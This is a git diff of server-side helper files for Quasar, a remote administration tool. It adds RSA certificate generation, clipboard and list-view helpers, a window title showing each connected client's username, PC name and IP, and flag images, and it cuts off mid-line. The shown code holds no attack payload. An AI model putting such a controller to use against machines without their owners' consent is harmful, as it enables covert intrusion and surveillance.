XP8EBAD/AwMH/wAABv8AABD/AAAU/wAAF/8AABb/AAAU/wAAD/8AAAX/AwMH/wICAP8AAGX/npbY/7bI + 1P8ffNj+KYLb/zOD2OhEidcaAAAAAAD//wEAAAAAAAAAAFWq/wMAAAAAP6bweTio+P8lnOz8Vq/o/9rX + 5f8hIaj/AAAG/wICGf8AAE//CQqF/yYmq/9GRr3/R0i+/0lJvf9DQrb/ISGh/wcIfP8AAEf/AgIT/wAA + Df80M7P/2dXa/z6N2P8igNr8Mori/zqK120AAAAAP3+/BAAAAAAAAP8BAAAAAAAAAAA7pOzCM6r2/yml + 7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Helper/CertificateHelper.cs b/Quasar.Server/Helper/CertificateHelper.cs new file mode 100644 index 0000000..b41d531 --- /dev/null +++ b/Quasar.Server/Helper/CertificateHelper.cs @@ -0,0 +1,85 @@ +using Org.BouncyCastle.Asn1.X509; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Generators; +using Org.BouncyCastle.Crypto.Operators; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Prng; +using Org.BouncyCastle.Math; +using Org.BouncyCastle.Security; +using Org.BouncyCastle.X509; +using Org.BouncyCastle.X509.Extension; +using System; +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Helper +{ + public static class CertificateHelper + { + public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength) + { + var caCert = DotNetUtilities.FromX509Certificate(ca); + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + certName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(caCert.IssuerDN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0))); + certificateGenerator.SetPublicKey(keyPair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public)); + certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey())); + + var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + certificate.Verify(caCert.GetPublicKey()); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + + public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) + { + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + caName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(CN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); + certificateGenerator.SetPublicKey(keypair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); + certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + } +} diff --git a/Quasar.Server/Helper/ClipboardHelper.cs b/Quasar.Server/Helper/ClipboardHelper.cs new file mode 100644 index 0000000..2a69f03 --- /dev/null +++ b/Quasar.Server/Helper/ClipboardHelper.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Helper +{ + public static class ClipboardHelper + { + public static void SetClipboardTextSafe(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception) + { + } + } + } +} diff --git a/Quasar.Server/Helper/NativeMethodsHelper.cs b/Quasar.Server/Helper/NativeMethodsHelper.cs new file mode 100644 index 0000000..5ea832c --- /dev/null +++ b/Quasar.Server/Helper/NativeMethodsHelper.cs @@ -0,0 +1,35 @@ +using System; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Helper +{ + public static class NativeMethodsHelper + { + private const int LVM_FIRST = 0x1000; + private const int LVM_SETITEMSTATE = LVM_FIRST + 43; + + private const int WM_VSCROLL = 277; + private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7); + + public static int MakeWin32Long(short wLow, short wHigh) + { + return (int)wLow << 16 | (int)(short)wHigh; + } + + public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value) + { + NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM + { + stateMask = mask, + state = value + }; + + NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem); + } + + public static void ScrollToBottom(IntPtr handle) + { + NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero); + } + } +} diff --git a/Quasar.Server/Helper/WindowHelper.cs b/Quasar.Server/Helper/WindowHelper.cs new file mode 100644 index 0000000..fb8f925 --- /dev/null +++ b/Quasar.Server/Helper/WindowHelper.cs @@ -0,0 +1,17 @@ +using Quasar.Server.Networking; + +namespace Quasar.Server.Helper +{ + public static class WindowHelper + { + public static string GetWindowTitle(string title, Client c) + { + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + } + + public static string GetWindowTitle(string title, int count) + { + return string.Format("{0} [Selected: {1}]", title, count); + } + } +} diff --git a/Quasar.Server/Images/Flags/ad.png b/Quasar.Server/Images/Flags/ad.png new file mode 100644 index 0000000..625ca84 Binary files /dev/null and b/Quasar.Server/Images/Flags/ad.png differ diff --git a/Quasar.Server/Images/Flags/ae.png b/Quasar.Server/Images/Flags/ae.png new file mode 100644 index 0000000..ef3a1ec Binary files /dev/null and b/Quasar.Server/Images/Flags/ae.png differ diff --git a/Quasar.Server/Images/Flags/af.png b/Quasar.Server/Images/Flags/af.png new file mode 100644 index 0000000..a4742e2 Binary files /dev/null and b/Quasar.Server/Images/Flags/af.png differ diff --git a/Quasar.Server/Images/Flags/ag.png b/Quasar.Server/Images/Flags/ag.png new file mode 100644 index 0000000..556d550 Binary files /dev/null and b/Quasar.Server/Images/Flags/ag.png differ diff --git a/Quasar.Server/Images/Flags/ai.png b/Quasar.Server/Images/Flags/ai.png new file mode 100644 index 0000000..74ed29d Binary files /dev/null and b/Quasar.Server/Images/Flags/ai.png differ diff --git a/Quasar.Server/Images/Flags/al.png b/Quasar.Server/Images/Flags/al.png new file mode 100644 index 0000000..92354cb Binary files /dev/null and b/Quasar.Server/Images/Flags/al.png differ diff --git a/Quasar.Server/Images/Flags/am.png b/Quasar.Server/Images/Flags/am.png new file mode 100644 index 0000000..344a2a8 Binary files /dev/null and b/Quasar.Server/Images/Flags/am.png differ diff --git a/Quasar.Server/Images/Flags/an.png b/Quasar.Server/Images/Flags/an.png new file mode 100644 index 0000000..633e4b8 Binary files /dev/null and b/Quasar.Server/Images/Flags/an.png differ diff --git a/Quasar.Server/Images/Flags/ao.png b/Quasar.Server/Images/Flags/ao.png new file mode 100644 index 0000000..bcbd1d6 Binary files /dev/null and b/Quasar.Server/Images/Flags/ao.png differ diff --git a/Quasar.Server/Images/Flags/ar.png b/Quasar.Server/Images/Flags/ar.png new file mode 100644 index 0000000..e5ef8f1 Binary files /dev/null and b/Quasar.Server/Images/Flags/ar.png differ diff --git a/Quasar.Server/Images/Flags/as.png b/Quasar.Server/Images/Flags/as.png new file mode 100644 index 0000000..32f30e4 Binary files /dev/null and b/Quasar.Server/Images/Flags/as.png differ diff --git a/Quasar.Server/Images/Flags/at.png b/Quasar.Server/Images/Flags/at.png new file mode 100644 index 0000000..0f15f34 Binary files /dev/null and b/Quasar.Server/Images/Flags/at.png differ diff --git a/Quasar.Server/Images/Flags/au.png b/Quasar.Server/Images/Flags/au.png new file mode 100644 index 0000000..a01389a Binary files /dev/null and b/Quasar.Server/Images/Flags/au.png differ diff --git a/Quasar.Server/Images/Flags/aw.png b/Quasar.Server/Images/Flags/aw.png new file mode 100644 index 0000000..a3579c2 Binary files /dev/null and b/Quasar.Server/Images/Flags/aw.png differ diff --git a/Quasar.Server/Images/Flags/ax.png b/Quasar.Server/Images/Flags/ax.png new file mode 100644 index 0000000..1eea80a Binary files /dev/null and b/Quasar.Server/Images/Flags/ax.png differ diff --git a/Quasar.Server/Images/Flags/az.png b/Quasar.Server/Images/Flags/az.png new file mode 100644 index 0000000..4ee9fe5 Binary files /dev/null and b/Quasar.Server/Images/Flags/az.png differ diff --git a/Quasar.Server/Images/Flags/ba.png b/Quasar.Server/Images/Flags/ba.png new file mode 100644 index 0000000..c774992 Binary files /dev/null and b/Quasar.Server/Images/Flags/ba.png differ diff --git a/Quasar.Server/Images/Flags/bb.png b/Quasar.Server/Images/Flags/bb.png new file mode 100644 index 0000000..0df19c7 Binary files /dev/null and b/Quasar.Server/Images/Flags/bb.png differ diff --git a/Quasar.Server/Images/Flags/bd.png b/Quasar.Server/Images/Flags/bd.png new file mode 100644 index 0000000..076a8bf Binary files /dev/null and b/Quasar.Server/Images/Flags/bd.png differ diff --git a/Quasar.Server/Images/Flags/be.png b/Quasar.Server/Images/Flags/be.png new file mode 100644 index 0000000..d86ebc8 Binary files /dev/null and b/Quasar.Server/Images/Flags/be.png differ diff --git a/Quasar.Server/Images/Flags/bf.png b/Quasar.Server/Images/Flags/bf.png new file mode 100644 index 0000000..ab5ce8f Binary files /dev/null and b/Quasar.Server/Images/Flags/bf.png differ diff --git a/Quasar.Server/Images/Flags/bg.png b/Quasar.Server/Images/Flags/bg.png new file mode 100644 index 0000000..0469f06 Binary files /dev/null and b/Quasar.Server/Images/Flags/bg.png differ diff --git a/Quasar.Server/Images/Flags/bh.png b/Quasar.Server/Images/Flags/bh.png new file mode 100644 index 0000000..ea8ce68 Binary files /dev/null and b/Quasar.Server/Images/Flags/bh.png differ diff --git a/Quasar.Server/Images/Flags/bi.png b/Quasar.Server/Images/Flags/bi.png new file mode 100644 index 0000000..5cc2e30 Binary files /dev/null and b/Quasar.Server/Images/Flags/bi.png differ diff --git a/Quasar.Server/Images/Flags/bj.png b/Quasar.Server/Images/Flags/bj.png new file mode 100644 index 0000000..1cc8b45 Binary files /dev/null and b/Quasar.Server/Images/Flags/bj.png differ diff --git a/Quasar.Server/Images/Flags/bm.png b/Quasar.Server/Images/Flags/bm.png new file mode 100644 index 0000000..c0c7aea Binary files /dev/null and b/Quasar.Server/Images/Flags/bm.png differ diff --git a/Quasar.Server/Images/Flags/bn.png b/Quasar.Server/Images/Flags/bn.png new file mode 100644 index 0000000..8fb0984 Binary files /dev/null and b/Quasar.Server/Images/Flags/bn.png differ diff --git a/Quasar.Server/Images/Flags/bo.png b/Quasar.Server/Images/Flags/bo.png new file mode 100644 index 0000000..ce7ba52 Binary files /dev/null and b/Quasar.Server/Images/Flags/bo.png differ diff --git a/Quasar.Server/Images/Flags/br.png b/Quasar.Server/Images/Flags/br.png new file mode 100644 index 0000000..9b1a553 Binary files /dev/null and b/Quasar.Server/Images/Flags/br.png differ diff --git a/Quasar.Server/Images/Flags/bs.png b/Quasar.Server/Images/Flags/bs.png new file mode 100644 index 0000000..639fa6c Binary files /dev/null and b/Quasar.Server/Images/Flags/bs.png differ diff --git a/Quasar.Server/Images/Flags/bt.png b/Quasar.Server/Images/Flags/bt.png new file mode 100644 index 0000000..1d512df Binary files /dev/null and b/Quasar.Server/Images/Flags/bt.png differ diff --git a/Quasar.Server/Images/Flags/bv.png b/Quasar.Server/Images/Flags/bv.png new file mode 100644 index 0000000..160b6b5 Binary files /dev/null and b/Quasar.Server/Images/Flags/bv.png differ diff --git a/Quasar.Server/Images/Flags/bw.png b/Quasar.Server/Images/Flags/bw.png new file mode 100644 index 0000000..fcb1039 Binary files /dev/null and b/Quasar.Server/Images/Flags/bw.png differ diff --git a/Quasar.Server/Images/Flags/by.png b/Quasar.Server/Images/Flags/by.png new file mode 100644 index 0000000..504774e Binary files /dev/null and b/Quasar.Server/Images/Flags/by.png differ diff --git a/Quasar.Server/Images/Flags/bz.png b/Quasar.Server/Images/Flags/bz.png new file mode 100644 index 0000000..be63ee1 Binary files /dev/null and b/Quasar.Server/Images/Flags/bz.png differ diff --git a/Quasar.Server/Images/Flags/ca.png b/Quasar.Server/Images/Flags/ca.png new file mode 100644 index 0000000..1f20419 Binary files /dev/null and b/Quasar.Server/Images/Flags/ca.png differ diff --git a/Quasar.Server/Images/Flags/catalonia.png b/Quasar.Server/Images/Flags/catalonia.png new file mode 100644 index 0000000..5041e30 Binary files /dev/null and b/Quasar.Server/Images/Flags/catalonia.png differ diff --git a/Quasar.Server/Images/Flags/cc.png b/Quasar.Server/Images/Flags/cc.png new file mode 100644 index 0000000..aed3d3b Binary files /dev/null and b/Quasar.Server/Images/Flags/cc.png differ diff --git a/Quasar.Server/Images/Flags/cd.png b/Quasar.Server/Images/Flags/cd.png new file mode 100644 index 0000000..5e48942 Binary files /dev/null and b/Quasar.Server/Images/Flags/cd.png differ diff --git a/Quasar.Server/Images/Flags/cf.png b/Quasar.Server/Images/Flags/cf.png new file mode 100644 index 0000000..da687bd Binary files /dev/null and b/Quasar.Server/Images/Flags/cf.png differ diff --git a/Quasar.Server/Images/Flags/cg.png b/Quasar.Server/Images/Flags/cg.png new file mode 100644 index 0000000..a859792 Binary files /dev/null and b/Quasar.Server/Images/Flags/cg.png differ diff --git a/Quasar.Server/Images/Flags/ch.png b/Quasar.Server/Images/Flags/ch.png new file mode 100644 index 0000000..242ec01 Binary files /dev/null and b/Quasar.Server/Images/Flags/ch.png differ diff --git a/Quasar.Server/Images/Flags/ci.png b/Quasar.Server/Images/Flags/ci.png new file mode 100644 index 0000000..3f2c62e Binary files /dev/null and b/Quasar.Server/Images/Flags/ci.png differ diff --git a/Quasar.Server/Images/Flags/ck.png b/Quasar.Server/Images/Flags/ck.png new file mode 100644 index 0000000..746d3d6 Binary files /dev/null and b/Quasar.Server/Images/Flags/ck.png differ diff --git a/Quasar.Server/Images/Flags/cl.png b/Quasar.Server/Images/Flags/cl.png new file mode 100644 index 0000000..29c6d61 Binary files /dev/null and b/Quasar.Server/Images/Flags/cl.png differ diff --git a/Quasar.Server/Images/Flags/cm.png b/Quasar.Server/Images/Flags/cm.png new file mode 100644 index 0000000..f65c5bd Binary files /dev/null and b/Quasar.Server/Images/Flags/cm.png differ diff --git a/Quasar.Server/Images/Flags/cn.png b/Quasar.Server/Images/Flags/cn.png new file mode 100644 index 0000000..8914414 Binary files /dev/null and b/Quasar.Server/Images/Flags/cn.png differ diff --git a/Quasar.Server/Images/Flags/co.png b/Quasar.Server/Images/Flags/co.png new file mode 100644 index 0000000..a118ff4 Binary files /dev/null and b/Quasar.Server/Images/Flags/co.png differ diff --git a/Quasar.Server/Images/Flags/cr.png b/Quasar.Server/Images/Flags/cr.png new file mode 100644 index 0000000..c7a3731 Binary files /dev/null and b/Quasar.Server/Images/Flags/cr.png differ diff --git a/Quasar.Server/Images/Flags/cs.png b/Quasar.Server/Images/Flags/cs.png new file mode 100644 index 0000000..8254790 Binary files /dev/null and b/Quasar.Server/Images/Flags/cs.png differ diff --git a/Quasar.Server/Images/Flags/cu.png b/Quasar.Server/Images/Flags/cu.png new file mode 100644 index 0000000..083f1d6 Binary files /dev/null and b/Quasar.Server/Images/Flags/cu.png differ diff --git a/Quasar.Server/Images/Flags/cv.png b/Quasar.Server/Images/Flags/cv.png new file mode 100644 index 0000000..a63f7ea Binary files /dev/null and b/Quasar.Server/Images/Flags/cv.png differ diff --git a/Quasar.Server/Images/Flags/cx.png b/Quasar.Server/Images/Flags/cx.png new file mode 100644 index 0000000..48e31ad Binary files /dev/null and b/Quasar.Server/Images/Flags/cx.png differ diff --git a/Quasar.Server/Images/Flags/cy.png b/Quasar.Server/Images/Flags/cy.png new file mode 100644 index 0000000..5b1ad6c Binary files /dev/null and b/Quasar.Server/Images/Flags/cy.png differ diff --git a/Quasar.Server/Images/Flags/cz.png b/Quasar.Server/Images/Flags/cz.png new file mode 100644 index 0000000..c8403dd Binary files /dev/null and b/Quasar.Server/Images/Flags/cz.png differ diff --git a/Quasar.Server/Images/Flags/de.png b/Quasar.Server/Images/Flags/de.png new file mode 100644 index 0000000..ac4a977 Binary files /dev/null and b/Quasar.Server/Images/Flags/de.png differ diff --git a/Quasar.Server/Images/Flags/dj.png b/Quasar.Server/Images/Flags/dj.png new file mode 100644 index 0000000..582af36 Binary files /dev/null and b/Quasar.Server/Images/Flags/dj.png differ diff --git a/Quasar.Server/Images/Flags/dk.png b/Quasar.Server/Images/Flags/dk.png new file mode 100644 index 0000000..e2993d3 Binary files /dev/null and b/Quasar.Server/Images/Flags/dk.png differ diff --git a/Quasar.Server/Images/Flags/dm.png b/Quasar.Server/Images/Flags/dm.png new file mode 100644 index 0000000..5fbffcb Binary files /dev/null and b/Quasar.Server/Images/Flags/dm.png differ diff --git a/Quasar.Server/Images/Flags/do.png b/Quasar.Server/Images/Flags/do.png new file mode 100644 index 0000000..5a04932 Binary files /dev/null and b/Quasar.Server/Images/Flags/do.png differ diff --git a/Quasar.Server/Images/Flags/dz.png b/Quasar.Server/Images/Flags/dz.png new file mode 100644 index 0000000..335c239 Binary files /dev/null and b/Quasar.Server/Images/Flags/dz.png differ diff --git a/Quasar.Server/Images/Flags/ec.png b/Quasar.Server/Images/Flags/ec.png new file mode 100644 index 0000000..0caa0b1 Binary files /dev/null and b/Quasar.Server/Images/Flags/ec.png differ diff --git a/Quasar.Server/Images/Flags/ee.png b/Quasar.Server/Images/Flags/ee.png new file mode 100644 index 0000000..0c82efb Binary files /dev/null and b/Quasar.Server/Images/Flags/ee.png differ diff --git a/Quasar.Server/Images/Flags/eg.png b/Quasar.Server/Images/Flags/eg.png new file mode 100644 index 0000000..8a3f7a1 Binary files /dev/null and b/Quasar.Server/Images/Flags/eg.png differ diff --git a/Quasar.Server/Images/Flags/eh.png b/Quasar.Server/Images/Flags/eh.png new file mode 100644 index 0000000..90a1195 Binary files /dev/null and b/Quasar.Server/Images/Flags/eh.png differ diff --git a/Quasar.Server/Images/Flags/england.png b/Quasar.Server/Images/Flags/england.png new file mode 100644 index 0000000..3a7311d Binary files /dev/null and b/Quasar.Server/Images/Flags/england.png differ diff --git a/Quasar.Server/Images/Flags/er.png b/Quasar.Server/Images/Flags/er.png new file mode 100644 index 0000000..13065ae Binary files /dev/null and b/Quasar.Server/Images/Flags/er.png differ diff --git a/Quasar.Server/Images/Flags/es.png b/Quasar.Server/Images/Flags/es.png new file mode 100644 index 0000000..c2de2d7 Binary files /dev/null and b/Quasar.Server/Images/Flags/es.png differ diff --git a/Quasar.Server/Images/Flags/et.png b/Quasar.Server/Images/Flags/et.png new file mode 100644 index 0000000..2e893fa Binary files /dev/null and b/Quasar.Server/Images/Flags/et.png differ diff --git a/Quasar.Server/Images/Flags/europeanunion.png b/Quasar.Server/Images/Flags/europeanunion.png new file mode 100644 index 0000000..d6d8711 Binary files /dev/null and b/Quasar.Server/Images/Flags/europeanunion.png differ diff --git a/Quasar.Server/Images/Flags/fam.png b/Quasar.Server/Images/Flags/fam.png new file mode 100644 index 0000000..cf50c75 Binary files /dev/null and b/Quasar.Server/Images/Flags/fam.png differ diff --git a/Quasar.Server/Images/Flags/fi.png b/Quasar.Server/Images/Flags/fi.png new file mode 100644 index 0000000..14ec091 Binary files /dev/null and b/Quasar.Server/Images/Flags/fi.png differ diff --git a/Quasar.Server/Images/Flags/fj.png b/Quasar.Server/Images/Flags/fj.png new file mode 100644 index 0000000..cee9988 Binary files /dev/null and b/Quasar.Server/Images/Flags/fj.png differ diff --git a/Quasar.Server/Images/Flags/fk.png b/Quasar.Server/Images/Flags/fk.png new file mode 100644 index 0000000..ceaeb27 Binary files /dev/null and b/Quasar.Server/Images/Flags/fk.png differ diff --git a/Quasar.Server/Images/Flags/fm.png b/Quasar.Server/Images/Flags/fm.png new file mode 100644 index 0000000..066bb24 Binary files /dev/null and b/Quasar.Server/Images/Flags/fm.png differ diff --git a/Quasar.Server/Images/Flags/fo.png b/Quasar.Server/Images/Flags/fo.png new file mode 100644 index 0000000..cbceb80 Binary files /dev/null and b/Quasar.Server/Images/Flags/fo.png differ diff --git a/Quasar.Server/Images/Flags/fr.png b/Quasar.Server/Images/Flags/fr.png new file mode 100644 index 0000000..8332c4e Binary files /dev/null and b/Quasar.Server/Images/Flags/fr.png differ diff --git a/Quasar.Server/Images/Flags/ga.png b/Quasar.Server/Images/Flags/ga.png new file mode 100644 index 0000000..0e0d434 Binary files /dev/null and b/Quasar.Server/Images/Flags/ga.png differ diff --git a/Quasar.Server/Images/Flags/gb.png b/Quasar.Server/Images/Flags/gb.png new file mode 100644 index 0000000..ff701e1 Binary files /dev/null and b/Quasar.Server/Images/Flags/gb.png differ diff --git a/Quasar.Server/Images/Flags/gd.png b/Quasar.Server/Images/Flags/gd.png new file mode 100644 index 0000000..9ab57f5 Binary files /dev/null and b/Quasar.Server/Images/Flags/gd.png differ diff --git a/Quasar.Server/Images/Flags/ge.png b/Quasar.Server/Images/Flags/ge.png new file mode 100644 index 0000000..728d970 Binary files /dev/null and b/Quasar.Server/Images/Flags/ge.png differ diff --git a/Quasar.Server/Images/Flags/gf.png b/Quasar.Server/Images/Flags/gf.png new file mode 100644 index 0000000..8332c4e Binary files /dev/null and b/Quasar.Server/Images/Flags/gf.png differ diff --git a/Quasar.Server/Images/Flags/gh.png b/Quasar.Server/Images/Flags/gh.png new file mode 100644 index 0000000..4e2f896 Binary files /dev/null and b/Quasar.Server/Images/Flags/gh.png differ diff --git a/Quasar.Server/Images/Flags/gi.png b/Quasar.Server/Images/Flags/gi.png new file mode 100644 index 0000000..e76797f Binary files /dev/null and b/Quasar.Server/Images/Flags/gi.png differ diff --git a/Quasar.Server/Images/Flags/gl.png b/Quasar.Server/Images/Flags/gl.png new file mode 100644 index 0000000..ef12a73 Binary files /dev/null and 